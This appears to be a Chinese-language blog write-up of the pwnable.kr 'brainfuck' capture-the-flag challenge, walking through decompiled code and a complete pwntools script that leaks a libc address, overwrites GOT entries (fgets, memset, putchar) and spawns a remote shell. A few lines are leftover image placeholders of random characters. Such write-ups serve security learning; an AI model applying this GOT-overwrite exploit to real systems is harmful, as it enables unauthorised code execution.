[Pwnable.kr] BrainFuck

24. 二月 2016 pwnable writeup 1

第二部分的第一题,150分(比第一部分总和还高……),F5整理一下代码还是很容易看懂的:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax@4
  int v4; // edx@4
  size_t i; // [esp+28h] [ebp-40Ch]@1
  int v6; // [esp+2Ch] [ebp-408h]@1
  int v7; // [esp+42Ch] [ebp-8h]@1

  v7 = *MK_FP(__GS__, 20);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  p = (int)&tape;
  puts("welcome to brainfuck testing system!!");
  puts("type some brainfuck instructions except [ ]");
  memset(&v6, 0, 0x400u);
  fgets((char *)&v6, 1024, stdin);
  for ( i = 0; i < strlen((const char *)&v6); ++i )
    do_brainfuck(*((_BYTE *)&v6 + i));
  result = 0;
  v4 = *MK_FP(__GS__, 20) ^ v7;
  return result;
}

int __cdecl do_brainfuck(char a1)
{
  int result; // eax@1
  _BYTE *v2; // ebx@7

  result = a1;
  switch ( a1 )
  {
    case 43:
      result = p;
      ++*(_BYTE *)p;
      break;
    case 44:
      v2 = (_BYTE *)p;
      result = getchar();
      *v2 = result;
      break;
    case 45:
      result = p;
      --*(_BYTE *)p;
      break;
    case 46:
      result = putchar(*(char *)p);
      break;
    case 60:
      result = p-- - 1;
      break;
    case 62:
      result = p++ + 1;
      break;
    case 91:
      result = puts("[ and ] not supported.");
      break;
    default:
      return result;
  }
  return result;
}

case里的部分用字符替换一下,大概意思就是p是一个字符指针,用”<“、”>“控制指针位置,”,”表示写入,”.”显示该位置的值,想办法exploit。

 

这里p的初始位置是&tape,从ida中可以看到:

KO)JR1%D~4VXN[O[Z@XS0}H

$HM}_KVQ7FWY[1{Z6)UZICC

我们就知道了p的初始位置是0x0804a0a0。

 

引用外部库函数需要通过plt表来定位其在动态链接库里的相对位置(关处于got表和plt表网上有介绍,此略过),我们可以在ida中找到.plt.got段,里面包含了我们要使用的libc的函数及地址。

XCBA(1GK4XNNQ949H4I~C9J

所以我们只需要通过相对位置修改plt表,就可以控制调用其他的函数。替换哪个比较好呢?O3@]1$_K9GG3F6{4GI9O}S7

看这两行,如果memset变成了gets,fgets变成了system,不是正好?v6恰好也是一个字符数组。

但是我们修改plt的过程是发生在这两句之后的,如何再重新执行这两条命令呢?

我们只需要把putchar的plt表值改写成main函数的地址即可,这样在下次调用”.”命令的时候,会调用putchar,就直接跳转到main函数入口了

poc:

from pwn import *

libc = ELF("./bf_libc.so")

p = remote("pwnable.kr", 9001)
p.recvline_startswith("type")

# move to .got.plt.fgets
payload = '<'*(0x0804A0A0-0x0804A010)
# print .got.plt.fgets
payload += '.>'*4
# move back and write system
payload += '<'*4 + ',>'*4
# move to .got.plt.memset
payload += '<'*4 + '>'*(0x0804A02C-0x0804A010)
# write gets
payload += ',>'*4
# move to putchar -- already here
# write main
payload += ',>'*4
# execute '.'
payload += '.'

p.sendline(payload)

addr_fgets = p.recvn(4)[::-1].encode('hex')
addr_system = int(addr_fgets, 16) - libc.symbols['fgets'] + libc.symbols['system']
addr_gets = int(addr_fgets, 16) - libc.symbols['fgets'] + libc.symbols['gets']

p.send(struct.pack('I', addr_system))
p.send(struct.pack('I', addr_gets))
p.send(struct.pack('I', 0x08048671))
p.sendline('/bin/sh')
p.interactive()

 


1 thought on “[Pwnable.kr] BrainFuck”

发表评论

电子邮件地址不会被公开。 必填项已用*标注

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据